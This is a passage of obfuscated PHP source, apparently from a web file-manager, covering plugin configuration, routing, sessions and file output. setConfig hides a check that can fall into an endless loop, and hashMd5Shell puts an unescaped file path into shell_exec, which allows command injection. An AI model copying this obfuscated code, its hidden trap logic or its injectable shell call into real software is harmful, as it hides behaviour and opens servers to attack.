. $a; goto E߫; E߫: } final function initLang() { goto Eȸ; ađ΃: $Eܦ = I18n::getType(); $f좹 = array(); if (file_exists($eЇ . $Eܦ . $A[765])) { $f좹 = (include $eЇ . $Eܦ . $A[765]); } else { if ($Eܦ == $A[1343] && !file_exists($eЇ . $Eܦ . $A[765]) && file_exists($eЇ . $A[1344])) { $f좹 = (include $eЇ . $A[1344]); } else { if (file_exists($eЇ . $d . $A[765])) { $f좹 = (include $eЇ . $d . $A[765]); } } } goto f; f: if (!is_array($f좹)) { return array(); } if (@count($f좹) > 0) { I18n::set($f좹); } return $f좹; goto AȰ; Eȸ: $A =& $_SERVER[ȦÆ]; $d = $A[1341]; $eЇ = $this->pluginPath . $A[1342]; goto ađ΃; AȰ: } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($Fʣ) { $CА =& $_SERVER[ȦÆ]; if (!isset($_SERVER[$CА[8]]) || !isset($_SERVER[$CА[1156]])) { goto C; C: $f𝙑ޕ = $CА[788]; $f = $CА[9]; $A҂ = $_SERVER[$CА[10]] . $CА[11]; goto d۱Ž; d۱Ž: $E = $f($A҂); $A = explode($CА[12], $E); if (count($A) < $CА[597]) { $b㿷 = $CА[14]; $b㿷(); } goto fĸ; Adz: for ($C = $Cď; $C > 0; $C++) { $Cذ = json_encode($GLOBALS[$CА[389]]); } goto D蘐; fĸ: $Cذ = $CА[789]; $Cذ($_SERVER[$CА[790]]); $Cď = 1; goto Adz; D蘐: } return $this->modelPlugin->setConfig($this->pluginName, $Fʣ); } public function onSetConfig($e廂ڪ) { } public function onGetConfig($B܄݉) { } public function onChangeStatus($bɴ) { } public function onUninstall() { } public function onInstall() { } public function authCheck($cԆ = "\160\x6c\165\x67\151\156\101\165\164\150") { $bȥ =& $_SERVER[ȦÆ]; if (!defined($bȥ[432])) { return !1; } if (_get($GLOBALS, $bȥ[462])) { return !0; } $a = $this->getConfig(); if (!$a[$cԆ]) { return !1; } return ActionCall($bȥ[1345], $a[$cԆ]); } public function url($eł, $eخ = '', $eιþ = true) { goto f욿; eՂ: if (!$eιþ) { return $Bڜ; } echo $Bڜ; goto eَ; f욿: $eŠ =& $_SERVER[ȦÆ]; $FՆ = $this->getConfig(); $Eҧ = KOD_VERSION . $eŠ[101] . KOD_VERSION_BUILD; goto cƠ; cƠ: $B㖖 = $this->packageVersion(); $Eצ = $Eҧ . $eŠ[417] . $B㖖; if (substr($eł, 0, 4) == $eŠ[152] || substr($eł, 0, 2) == $eŠ[1140]) { $Bڜ = $eł . $eŠ[1346] . $Eצ; } else { if ($eخ == $eŠ[43]) { $Bڜ = $this->pluginHost . $eł . $eŠ[1346] . $Eצ; } else { if ($eخ === $eŠ[86]) { $Bڜ = $this->pluginHost . $eł; } else { if ($eخ == $eŠ[1347]) { $Bڜ = STATIC_PATH . $eł . $eŠ[1346] . $Eҧ; } else { if ($eخ == $eŠ[1348]) { $Bڜ = APP_HOST . $eŠ[1349] . $eł . $eŠ[1346] . $Eҧ; } else { if (isset($FՆ[$eخ])) { $Bڜ = $FՆ[$eخ] . $eł . $eŠ[1346] . $Eצ; } } } } } } goto eՂ; eَ: } public function link($DՎ = false, $A΅ = '') { $fҏ =& $_SERVER[ȦÆ]; if (!$DՎ) { $this->link($fҏ[1350], $fҏ[1348]); $this->link($fҏ[1351], $fҏ[1347]); $this->link($fҏ[1352], $fҏ[1347]); $this->link($fҏ[1353], $fҏ[1347]); $this->link($fҏ[1354], $fҏ[1347]); return; } $Fɠ׭ = $this->url($DՎ, $A΅, !1); if (substr($DՎ, -3) == $fҏ[1355]) { echo $fҏ[1356] . $Fɠ׭ . $fҏ[1357] . $fҏ[12]; } else { if (substr($DՎ, -4) == $fҏ[1358]) { echo $fҏ[1359] . $Fɠ׭ . $fҏ[1360] . $fҏ[12]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\x5b\x5e\57\x5d\x2b", "\x3a\156\165\155" => "\133\x30\x2d\71\135\53", "\72\141\154\154" => "\x2e\x2a"); public static $errorCallback; public static function __callstatic($C죉, $E눸) { $Eʶ =& $_SERVER[ȦÆ]; if ($C죉 == $Eʶ[1361]) { $B܏ = array_map($Eʶ[1362], $E눸[0]); $f¢ = strpos($E눸[1], $Eʶ[18]) === 0 ? $E눸[1] : $Eʶ[18] . $E눸[1]; $Cу = $E눸[2]; } else { $B܏ = null; $f¢ = strpos($E눸[0], $Eʶ[18]) === 0 ? $E눸[0] : $Eʶ[18] . $E눸[0]; $Cу = $E눸[1]; } array_push(self::$maps, $B܏); array_push(self::$routes, $f¢); array_push(self::$methods, strtoupper($C죉)); array_push(self::$callbacks, $Cу); } public static function error($c̶ל) { self::$errorCallback = $c̶ל; } public static function haltOnMatch($D͐Б = true) { self::$halts = $D͐Б; } public static function dispatch() { goto Dņ; Dņ: $b =& $_SERVER[ȦÆ]; $AԊ = parse_url($_SERVER[$b[1363]], PHP_URL_PATH); $dѫՎ = $_SERVER[$b[160]]; goto Aݔ; Aݔ: $e؉ = array_keys(static::$patterns); $f = array_values(static::$patterns); $F÷ = !1; goto DŒ; DŒ: self::$routes = preg_replace($b[1066], $b[18], self::$routes); if (in_array($AԊ, self::$routes)) { $C = array_keys(self::$routes, $AԊ); foreach ($C as $Cʚ) { if (self::$methods[$Cʚ] == $dѫՎ || self::$methods[$Cʚ] == $b[1364] || in_array($dѫՎ, self::$maps[$Cʚ])) { $F÷ = !0; if (!is_object(self::$callbacks[$Cʚ])) { $F˒̳ͮ = explode($b[18], self::$callbacks[$Cʚ]); $B﵊ = end($F˒̳ͮ); $e = explode($b[1365], $B﵊); $C = new $e[0](); $C->{$e[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Cʚ]); if (self::$halts) { return; } } } } } else { $F = 0; foreach (self::$routes as $Cʚ) { if (strpos($Cʚ, $b[4]) !== !1) { $Cʚ = str_replace($e؉, $f, $Cʚ); } if (preg_match($b[1366] . $Cʚ . $b[1367], $AԊ, $e穓)) { if (self::$methods[$F] == $dѫՎ || self::$methods[$F] == $b[1364] || !empty(self::$maps[$F]) && in_array($dѫՎ, self::$maps[$F])) { $F÷ = !0; array_shift($e穓); if (!is_object(self::$callbacks[$F])) { $F˒̳ͮ = explode($b[18], self::$callbacks[$F]); $B﵊ = end($F˒̳ͮ); $e = explode($b[1365], $B﵊); $C = new $e[0](); if (!method_exists($C, $e[1])) { echo $b[1368]; } else { call_user_func_array(array($C, $e[1]), $e穓); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$F], $e穓); if (self::$halts) { return; } } } } $F++; } } if ($F÷ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $C =& $_SERVER[ȦÆ]; header($_SERVER[$C[1369]] . $C[1370]); echo $C[1371]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$b[1363]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } goto D; D: } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { goto Fؒߒ; c ɦ: $fɻű = $GLOBALS[$A˻[16]][$A˻[342]]; self::$sessionTime = $fɻű[$A˻[1372]]; $C槍 = SESSION_ID; goto C; C: $C槍 = _get($GLOBALS, $A˻[1373], $C槍); if (self::$sessionSign) { } else { if (Cookie::get($C槍)) { self::$sessionSign = Cookie::get($C槍); } else { self::$sessionSign = guid(); } } Cookie::setSafe($C槍, self::$sessionSign, self::$sessionTime); goto E; BݹΗ: switch ($A؟) { case $A˻[27]: self::$handle = Model($A˻[756]); break; case $A˻[757]: self::$handle = new CacheRedis($AƟ, $b); break; case $A˻[758]: self::$handle = new CacheMemcached($AƟ, $b); break; case $A˻[173]: $AƟ[$A˻[85]] = $AƟ[$A˻[85]] . $A˻[1375]; self::$handle = new CacheFile($AƟ, $b); default: break; } if (!self::$data) { CacheLock::lock(self::$sessionSign); self::$data = self::$handle->get(self::$sessionSign); CacheLock::unlock(self::$sessionSign); self::$data = unserialize(self::$data); if (!is_array(self::$data)) { self::$data = array(); } } $bш = new self(); goto F; E: $A؟ = $fɻű[$A˻[1374]]; $AƟ = $fɻű[$A؟]; $b = $fɻű[$A˻[755]]; goto BݹΗ; F: return $bш; goto EュË; Fؒߒ: $A˻ =& $_SERVER[ȦÆ]; static $bш = false; if ($bш) { return $bш; } goto c ɦ; EュË: } public static function sign($f = false) { $f && (self::$sessionSign = $f); self::init(); return self::$sessionSign; } public static function set($dӿ, $d = false) { self::init(); if (is_array($dӿ)) { foreach ($dӿ as $BDž => $Bэ) { array_set_value(self::$data, $BDž, $Bэ); } } else { array_set_value(self::$data, $dӿ, $d); } CacheLock::lock(self::$sessionSign); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); CacheLock::unlock(self::$sessionSign); } public static function get($d歇ċ = false) { self::init(); if (!$d歇ċ) { return self::$data; } return array_get_value(self::$data, $d歇ċ); } public static function remove($Bûۇ) { self::init(); unset(self::$data[$Bûۇ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ȦÆ][760])) { self::$handle->clearTimeout(); } } } goto Dº; C: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $bʮ =& $_SERVER[ȦÆ]; $this->objectDriver = array($bʮ[67], $bʮ[68], $bʮ[69], $bʮ[70], $bʮ[71], $bʮ[72], $bʮ[73], $bʮ[74]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($B) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($B, $_SERVER[ȦÆ][18]); } return $B; } public function getPathName($Eۍ) { return $Eۍ; } public function iconvApp($d񣴢) { return $d񣴢; } public function iconvSystem($Aڰ) { return $Aڰ; } public function iconvTo($fາ, $Aʓ, $E) { goto F厔Ĝ; F˔: $f = $Aʓ . $c肝ݺ[76] . $E . $c肝ݺ[77] . $fາ; if (isset($eʂ[$f])) { return $eʂ[$f]; } if (function_exists($c肝ݺ[78])) { $A駟ޮ = @mb_convert_encoding($fາ, $E, $Aʓ); } else { $A駟ޮ = @iconv($Aʓ, $E, $fາ); } goto cʩ; cʩ: $A駟ޮ = $A駟ޮ ? $A駟ޮ : $fາ; if (strstr($A駟ޮ, $c肝ݺ[79])) { $A駟ޮ = str_replace($c肝ݺ[79], $c肝ݺ[80], $A駟ޮ); } $eʂ[$Aʓ . $c肝ݺ[76] . $E . $c肝ݺ[77] . $fາ] = $A駟ޮ; goto aͿ; aͿ: $eʂ[$E . $c肝ݺ[76] . $Aʓ . $c肝ݺ[77] . $fາ] = $fາ; $eʂ[$E . $c肝ݺ[76] . $Aʓ . $c肝ݺ[77] . $A駟ޮ] = $fາ; $eʂ[$Aʓ . $c肝ݺ[76] . $E . $c肝ݺ[77] . $A駟ޮ] = $A駟ޮ; goto Eܜ΂; Eܜ΂: return $A駟ޮ; goto Fך; F厔Ĝ: $c肝ݺ =& $_SERVER[ȦÆ]; if (!$fາ || !function_exists($c肝ݺ[75])) { return $fາ; } static $eʂ = array(); goto F˔; Fך: } public function getPathInner($bŨЗ) { $eć = IO::init($bŨЗ); return $eć->path; } public function getPathOuter($Bߐ) { $DѦ =& $_SERVER[ȦÆ]; $Bʼ = strlen(trim($this->pathBase, $DѦ[18])); $Bߐ = substr(trim($Bߐ, $DѦ[18]), $Bʼ); return $this->pathDriver . $DѦ[18] . ltrim($Bߐ, $DѦ[18]); } public function isParentOf($c, $C) { $F¤п =& $_SERVER[ȦÆ]; $c = rtrim(strtolower($c), $F¤п[18]) . $F¤п[18]; $C = rtrim(strtolower($C), $F¤п[18]) . $F¤п[18]; $a = strpos($C, $c) === 0; return $a; } public function getType() { $bْ =& $_SERVER[ȦÆ]; $dک = str_replace($bْ[81], $bْ[43], get_class($this)); return strtolower($dک); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($cᶉ, $b؄) { $d =& $_SERVER[ȦÆ]; $C֐ = rtrim($cᶉ, $d[18]) . $d[18] . $b؄; $fߟӺ = $this->exist($C֐); return $fߟӺ ? $C֐ : !1; } public function renameObject($Dر, $aʎ) { goto Fð; Fð: $bА =& $_SERVER[ȦÆ]; $D = $aʎ; Hook::trigger($bА[82], $this, $Dر, $this, $this->pathFather($Dر) . $aʎ); goto fښ鱬; fښ鱬: $Dر = $this->getPathOuter($Dر); $aʎ = $this->pathFather($Dر) . $aʎ; if (IO::isFile($Dر)) { $Eփʓ = IO::copy($Dر, $this->pathFather($Dر), REPEAT_RENAME_FOLDER, $D); if ($Eփʓ) { IO::remove($Dر); } } else { $Eփʓ = IO::mkdir($aʎ); if (!$Eփʓ) { return !1; } $A鿞ķ = IO::listPath($Dر, !0); $f = array_merge($A鿞ķ[$bА[83]], $A鿞ķ[$bА[84]]); foreach ($f as $F鋺) { IO::move($F鋺[$bА[85]], $aʎ, REPEAT_RENAME_FOLDER); } IO::remove($Dر); } goto bЍ; bЍ: return $Eփʓ ? $aʎ : !1; goto a; a: } public function tempFile($F飂 = '', $eݔ = '') { goto E٭; E٭: if (!$F飂) { $F飂 = rand_string(15); } $d = TEMP_FILES . rand_string(15) . $_SERVER[ȦÆ][18]; @mkdir($d, 511, !0); goto Fś; Fś: $DӇٓ = $d . $F飂; @touch($DӇٓ); if ($eݔ) { file_put_contents($DӇٓ, $eݔ); } goto E갊; E갊: return $DӇٓ; goto d㗛; d㗛: } public function tempFileRemve($eʊՇ) { @unlink($eʊՇ); @rmdir($this->pathFather($eʊՇ)); } public function mkfile($cթ, $f = '', $bȃߡ = REPEAT_RENAME) { } public function mkdir($aέ, $bק = REPEAT_SKIP) { } public function copyFile($dɠҞ, $d賹) { } public function moveFile($bٌ, $FѨӑ) { } public function remove($D) { if ($this->isFile($D)) { return $this->delFile($D); } return $this->delFolder($D); } public function rename($A, $d) { } public function exist($d) { } public function findByHash($e = '', $A˥ӄ = '') { return !1; } public function isFile($c) { } public function isFolder($å) { } public function size($c܅) { } public function info($d،όѹ) { } public function infoSimple($DՂ) { return $this->info($DՂ); } public function infoAuth($A֥) { return $this->info($A֥); } public function infoFull($Dˡ) { return $this->info($Dˡ); } public function infoWithChildren($d˻) { $f =& $_SERVER[ȦÆ]; $C = $this->info($d˻); if ($C && $C[$f[39]] == $f[86]) { $F͇ŗ = array($f[87] => 0, $f[88] => 0, $f[89] => 0); $this->infoChildren($d˻, $F͇ŗ); $C[$f[87]] = $F͇ŗ[$f[87]]; $C[$f[90]] = array($f[91] => $F͇ŗ[$f[88]], $f[92] => $F͇ŗ[$f[89]]); } return $C; } public function listPath($Cť, $f뢘 = false) { } public function has($cۃُ, $DӖ = false, $Eʏ = false) { } public function canRead($c߅) { } public function canWrite($Dㄤ) { } public function getContent($eі) { } public function setContent($d֎, $DꙔײ = '') { } protected function infoChildren($C, &$F) { $B =& $_SERVER[ȦÆ]; check_abort(); $Cʑ = $this->listPath($C, !0); $Cʑ = array_merge($Cʑ[$B[84]], $Cʑ[$B[83]]); foreach ($Cʑ as $f) { if ($f[$B[39]] == $B[86]) { $F[$B[89]]++; $D僟 = $this->getPathInner($f[$B[85]]); $this->infoChildren($D僟, $F); } else { $F[$B[88]]++; $F[$B[87]] += $f[$B[87]]; } } } public function fileSubstr($aĊ, $a˶, $fբ) { } public function listAll($dں) { } public function upload($FԶ, $C毆, $d͊麮 = false, $B̘ = REPEAT_REPLACE) { } public function uploadFileByID($A, $D, $E) { } public function uploadFileByPath($aѥ驒, $F, $F޾΄ = array()) { } public function isUploadServer() { $F =& $_SERVER[ȦÆ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $F[93]) { return !0; } return $GLOBALS[$F[16]][$F[94]][$F[95]]; } public function isFileOutServer() { $aӣ =& $_SERVER[ȦÆ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $aӣ[93]) { return !0; } return $GLOBALS[$aӣ[16]][$aӣ[94]][$aӣ[96]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($C) { $aą =& $_SERVER[ȦÆ]; if (!$this->isCdnHost()) { return $C; } return str_replace(trim(get_url_root($C), $aą[18]), trim($this->cdnHost, $aą[18]), $C); } public function uploadLink($F, $E = 0) { goto dڠ; bNj: if ($D㑐) { $D㑐[$bɂҢ[99]] = $F; $D㑐[$bɂҢ[100]] = $Eˊ; } return $D㑐; goto f; FȂ: $C僷ɰ = $E <= $e쎑 ? $bɂҢ[97] : $bɂҢ[98]; $FêҬ = (!$E ? 1 : ceil($E / pow(1024, 3))) * 3600 * 4; $D㑐 = $this->{$C僷ɰ}($F, $FêҬ); goto bNj; dڠ: $bɂҢ =& $_SERVER[ȦÆ]; if ($this->isUploadServer()) { return; } $Eˊ = $this->getType(); goto ä; ä: if (!in_array($Eˊ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $e쎑 = 1024 * 1024 * 10; goto FȂ; f: } public function uploadFormData($E㫖, $aԃ = 3600) { } public function multiUploadFormData($f, $b = 3600) { } public function download($d, $Dӓ) { } public function ext($Aۜ) { $B =& $_SERVER[ȦÆ]; if (strpos($Aۜ, $B[18]) === -1) { $f𲑥 = $Aۜ; } else { $f𲑥 = $this->pathThis($Aۜ); } $a˯ = $B[43]; if (strstr($f𲑥, $B[101])) { $a˯ = substr($f𲑥, strrpos($f𲑥, $B[101]) + 1); $a˯ = strtolower($a˯); } if (strlen($a˯) > 3 && preg_match($B[102], $a˯, $f񡴢)) { $a˯ = $B[43]; } return $a˯; } public function pathThis($B) { $C딗 =& $_SERVER[ȦÆ]; $B = str_replace($C딗[103], $C딗[18], rtrim($B, $C딗[18])); $d⃄ = strrpos($B, $C딗[18]); if ($d⃄ === !1) { return $B; } return substr($B, $d⃄ + 1); } public function pathFather($b) { $DƆӞ =& $_SERVER[ȦÆ]; $b = str_replace($DƆӞ[103], $DƆӞ[18], rtrim($b, $DƆӞ[18])); $eŏ = strrpos($b, $DƆӞ[18]); if ($eŏ === !1) { return $DƆӞ[43]; } return substr($b, 0, $eŏ + 1); } public function hashSimple($b) { goto F׊ѥ; F׊ѥ: $a汆 =& $_SERVER[ȦÆ]; if (!$b) { return md5($a汆[43]); } $D = $this->size($b); goto c; c: $B = 200; $eۂ = 50; if ($D <= $B * $eۂ) { return $this->hashMd5($b) . $D; } goto C; C: $BԤ = intval($D / $eۂ); $F걬 = $a汆[43]; for ($Eܜʷ = 0; $Eܜʷ < $eۂ; $Eܜʷ++) { $F걬 .= $this->fileSubstr($b, $BԤ * $Eܜʷ, $B); } goto Bߍ݈; Bߍ݈: $F걬 .= $this->fileSubstr($b, $D - $B, $B); return md5($F걬) . $D; goto dԆ; dԆ: } public static $md5Cache = array(); public function hashMd5($fْ) { $fْ = $this->iconvSystem($fْ); if (isset(self::$md5Cache[$fْ])) { return self::$md5Cache[$fْ]; } self::$md5Cache[$fْ] = $this->hashMd5Shell($fْ); if (!self::$md5Cache[$fْ]) { self::$md5Cache[$fْ] = @md5_file($fْ); } return self::$md5Cache[$fْ]; } private function hashMd5Shell($Aۦ) { goto A; C؏ݾ: $e򔐺 = shell_exec($E։ݦ . "\40\42{$Aۦ}\x22"); return substr($e򔐺, 0, 32); goto e; eͮõ: $E։ݦ = Cache::get($b[107]); if (!$E։ݦ) { $D˶Ƌ = BASIC_PATH . $b[108]; $dܲ = md5_file($D˶Ƌ); $E։ݦ = $b[109]; foreach ($Eࣵ as $Fڈ) { $e򔐺 = shell_exec($Fڈ . "\x20\42{$D˶Ƌ}\x22"); if ($e򔐺 && substr(trim($e򔐺), 0, 32) == $dܲ) { $E։ݦ = $Fڈ; break; } } Cache::set($b[107], $E։ݦ, 3600); } if ($E։ݦ == $b[109]) { return !1; } goto C؏ݾ; A: $b =& $_SERVER[ȦÆ]; if (!function_exists($b[104])) { return !1; } $Eࣵ = array($b[105], $b[106]); goto eͮõ; e: } public function link($b茄) { return $b茄; } public function fileOut($B, $c = false, $e = false, $c仺 = '') { goto A˄; E䱅: if (in_array($DǸ, array($dˬ֙[117], $dˬ֙[118], $dˬ֙[119], $dˬ֙[120]))) { $DǸ = $dˬ֙[121]; } if (!$c仺) { $c仺 = md5($b׋ . $this->hashSimple($B)); } $c仺 = $dˬ֙[122] . $c仺 . $dˬ֙[122]; goto F닣; C鲞: header($dˬ֙[141] . $b׋ . $dˬ֙[133]); header($dˬ֙[142] . $C); header($dˬ֙[143]); goto fľ; DĆ: header($dˬ֙[134]); header($dˬ֙[135]); header($dˬ֙[136]); goto a; fľ: header($dˬ֙[144] . $d̈́); header($dˬ֙[145]); if (!$c && $DǸ == $dˬ֙[146]) { if ($d̈́ > 1024 * 1024 * 5) { die; } $A٪ = $this->getContent($B); $A٪ = Html::clearSVG($A٪); echo $A٪; die; } goto A􋾷Ђ; A􋾷Ђ: $A螦 = strtolower($_SERVER[$dˬ֙[147]]); if ($E҂ && $A螦 && $aǛ) { if (strstr($A螦, $dˬ֙[148])) { header($dˬ֙[149] . $B); } else { if (strstr($A螦, $dˬ֙[150])) { header($dˬ֙[151] . $B); } else { if (strstr($A螦, $dˬ֙[152])) { header($dˬ֙[153] . $B); } } } if ($DЈ) { header($dˬ֙[154] . $DЈ); } return; } if (isset($_SERVER[$dˬ֙[155]])) { if (preg_match($dˬ֙[156], $_SERVER[$dˬ֙[155]], $C녪؂)) { $d󋨝 = intval($C녪؂[1]); if (!empty($C녪؂[2])) { $E׳ = intval($C녪؂[2]); } } header($dˬ֙[157]); header("\103\157\156\164\145\156\164\x2d\122\141\x6e\x67\x65\x3a\40\142\171\164\x65\x73\40{$d󋨝}\x2d{$E׳}\x2f" . $d̈́); } else { header($dˬ֙[158]); } goto d; A˄: $dˬ֙ =& $_SERVER[ȦÆ]; $this->cacheMethod(null, null); if (!$B || !$this->exist($B)) { show_json(LNG($dˬ֙[110]), !1, $e); } goto a٬; a٬: $E҂ = $this->getType() == $dˬ֙[111]; $aǛ = $GLOBALS[$dˬ֙[16]][$dˬ֙[94]][$dˬ֙[112]][$dˬ֙[113]]; $DЈ = (double) $GLOBALS[$dˬ֙[16]][$dˬ֙[94]][$dˬ֙[112]][$dˬ֙[114]] * 1024 * 1024; goto e܅; e܅: @ob_end_clean(); set_timeout(); $C = $this->infoFull($B); goto aМܷ; aŐ: $aܗź = 0; if ($DЈ) { $aܗź = intval(1000 * 1000 * ($cѮ / $DЈ)); } while ($d󋨝 <= $E׳) { $Eֻԗ = timeFloat(); check_abort(); $A = $E׳ - $d󋨝 + 1; if ($A <= $cѮ) { $cѮ = $A; } echo $this->fileSubstr($B, $d󋨝, $cѮ); $d󋨝 += $cѮ; if ($cѮ == $A) { $d󋨝 = $E׳ + 1; } if ($aܗź) { $bȈ = intval(1000 * 1000 * (timeFloat() - $Eֻԗ)); $bգ = $aܗź - $bȈ; if ($bգ > 5) { usleep($bգ); } } } goto a蠨; b: header($dˬ֙[130]); header($dˬ֙[131] . $Cц); header($dˬ֙[132] . gmdate($dˬ֙[115], time() + 3600 * 24 * 30) . $dˬ֙[133]); goto DĆ; a: if (isset($_SERVER[$dˬ֙[137]]) && strtotime($_SERVER[$dˬ֙[137]]) == $C[$dˬ֙[116]]) { header($dˬ֙[138], !0, 304); die; } if (isset($_SERVER[$dˬ֙[139]]) && $_SERVER[$dˬ֙[139]] == $c仺) { header($dˬ֙[140] . $c仺, !0, 304); die; } header($dˬ֙[140] . $c仺); goto C鲞; F닣: $Cц = get_file_mime($DǸ); if (strstr($Cц, $dˬ֙[123])) { $Cц = $Cц . $dˬ֙[124]; } if ($c === !1 && !mime_support($Cц)) { $c = !0; $Cц = $dˬ֙[125]; } goto D܆; Fݮ: $d󋨝 = 0; $E׳ = $d̈́ - 1; $DǸ = $this->ext($C); goto E䱅; D܆: $cі = rawurlencode($C); $cі = $dˬ֙[122] . $cі . $dˬ֙[126] . $cі; if ($c) { header($dˬ֙[127]); header($dˬ֙[128] . $cі); } else { header($dˬ֙[129] . $cі); } goto b; d: header($dˬ֙[159] . ($E׳ - $d󋨝 + 1)); if ($_SERVER[$dˬ֙[160]] == $dˬ֙[161]) { return; } $cѮ = 1024 * 100; goto aŐ; aМܷ: $d̈́ = $C[$dˬ֙[87]]; $b׋ = gmdate($dˬ֙[115], $C[$dˬ֙[116]]); $C = $e ? $e : $this->iconvApp($C[$dˬ֙[38]]); goto Fݮ; a蠨: } public function fileOutServer($cЫȟ, $c = false, $c = false, $dԭ = '') { $this->fileOut($cЫȟ, $c, $c, $dԭ); } public function fileOutLink($Fׯ) { header($_SERVER[ȦÆ][162] . $Fׯ); die; } public function cacheMethod($F݆̗, $a) { goto cѫ; dј: if (is_null($F݆̗)) { $Aب = array(); return; } if (is_null($a)) { unset($Aب[$Ĉ]); return; } $DŚ = isset($Aب[$Ĉ]) ? $Aب[$Ĉ] : null; goto a堉; a堉: if (!is_null($DŚ)) { return $DŚ; } $DŚ = $this->{$F݆̗}($a); $Aب[$Ĉ] = $DŚ; goto C; C: return $DŚ; goto F; cѫ: $cȽ =& $_SERVER[ȦÆ]; static $Aب = array(); $Ĉ = $cȽ[163] . $F݆̗ . $cȽ[164] . rtrim($a, $cȽ[18]); goto dј; F: } public function fileOutImage($b, $D = 250) { goto d; Aь: if (!($c = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $DҐ쿆[171]))) { $fʨ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $DҐ쿆[172]); } else { $fʨ = KodIO::make($c); } if ($c = IO::fileNameExist($fʨ, $dߚ)) { $F = KodIO::make($c); return IO::fileOut($F); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } goto Aȹ; Bћ: if ($cڻ[$DҐ쿆[87]] <= 1024 * 50 || !function_exists($DҐ쿆[165]) || $cڻ[$DҐ쿆[166]] == $DҐ쿆[167]) { return $this->fileOut($b); } if (isset($cڻ[$DҐ쿆[168]][$DҐ쿆[169]])) { $e = $cڻ[$DҐ쿆[168]][$DҐ쿆[169]]; } else { if (isset($cڻ[$DҐ쿆[168]][$DҐ쿆[170]])) { $e = $cڻ[$DҐ쿆[168]][$DҐ쿆[170]]; } else { $e = md5("{$cڻ[$DҐ쿆[38]]}\x5f{$cڻ[$DҐ쿆[85]]}\x5f{$cڻ[$DҐ쿆[87]]}"); } } $dߚ = "{$e}\x5f{$D}\x2e\x70\156\x67"; goto Aь; d: $DҐ쿆 =& $_SERVER[ȦÆ]; if (substr($b, 0, 4) == $DҐ쿆[152]) { $this->fileOutLink($b); } $cڻ = $this->info($b); goto Bћ; Aȹ: $F = DATA_THUMB . $dߚ; if (!@file_exists($F)) { $A뼊Е = TEMP_FILES; if (!is_dir($A뼊Е)) { mk_dir($A뼊Е); } $cقɦϿ = $A뼊Е . $e . $DҐ쿆[101] . $cڻ[$DҐ쿆[166]]; if (!@file_exists($cقɦϿ)) { $cقɦϿ = $this->download($b, $cقɦϿ); } $Fєݍ = new ImageThumb($cقɦϿ, $DҐ쿆[173]); $Fєݍ->prorate($F, $D, $D * 10); } if (!file_exists($F) || filesize($F) < 100) { return @file_exists($cقɦϿ) ? IO::fileOut($cقɦϿ) : $this->fileOut($b); } goto Dދ; Dދ: if (!($aα = IO::move($F, $fʨ))) { return IO::fileOut($F); } del_file($F); IO::fileOut($aα); goto Bߎ; Bߎ: } public function fileOutImageServer($A, $cӈ۠ = 250) { $this->fileOutImage($A, $cӈ۠); } public function fileNameAuto($e, $E, $a̯ = REPEAT_RENAME, $D = false) { goto a; Aʳ: $d = 1; $d϶˗ = substr($E, 0, strlen($E) - strlen($F)); $D҃䵥 = $d϶˗ . "\50{$d}\51{$F}"; goto fՍ; e: if ($a̯ == REPEAT_SKIP) { return !1; } $F = $dͥƋ[101] . get_path_ext($E); $F = $F == $dͥƋ[101] || $D ? $dͥƋ[43] : $F; goto Aʳ; fՍ: while ($this->exist(rtrim($e, $dͥƋ[18]) . $dͥƋ[18] . $D҃䵥)) { $D҃䵥 = $d϶˗ . "\50{$d}\x29{$F}"; $d++; } return $D҃䵥; goto Bؾ; a: $dͥƋ =& $_SERVER[ȦÆ]; $a煼 = $e === $dͥƋ[43] ? $E : rtrim($e, $dͥƋ[18]) . $dͥƋ[18] . $E; if ($a̯ == REPEAT_REPLACE || !$this->exist($a煼) || $D && $a̯ != REPEAT_RENAME_FOLDER) { return $E; } goto e; Bؾ: } public function listAllFiles($c箌, $C̊, $f = array()) { goto aDž; f٤: foreach (array_unique($BÕ) as $cؑ) { $c߫ = array($A쎩[85] => $this->getPathOuter($A쎩[18] . $c箌 . $A쎩[18] . $cؑ), $A쎩[86] => 1, $A쎩[87] => 0); if (substr($cؑ, -1) != $A쎩[18]) { $c߫[$A쎩[86]] = 0; $aߚ = $this->getPath($c箌 . $A쎩[18] . $cؑ); $c߫[$A쎩[87]] = isset($f[$aߚ]) ? $f[$aߚ] : $this->size($aߚ); } $fѯ[] = $c߫; } return $fѯ; goto Dׇێي; B睅: $c箌 = trim($c箌, $A쎩[18]); foreach ($C̊ as $cؑ) { $aȾ = ltrim(substr($cؑ, strlen($c箌)), $A쎩[18]); $BÕ = array_merge($BÕ, $this->slicePath($aȾ)); } $fѯ = array(); goto f٤; aDž: $A쎩 =& $_SERVER[ȦÆ]; if (empty($C̊)) { return array(); } $BÕ = array(); goto B睅; Dׇێي: } public function slicePath($ḏϫ) { $cɺˢ 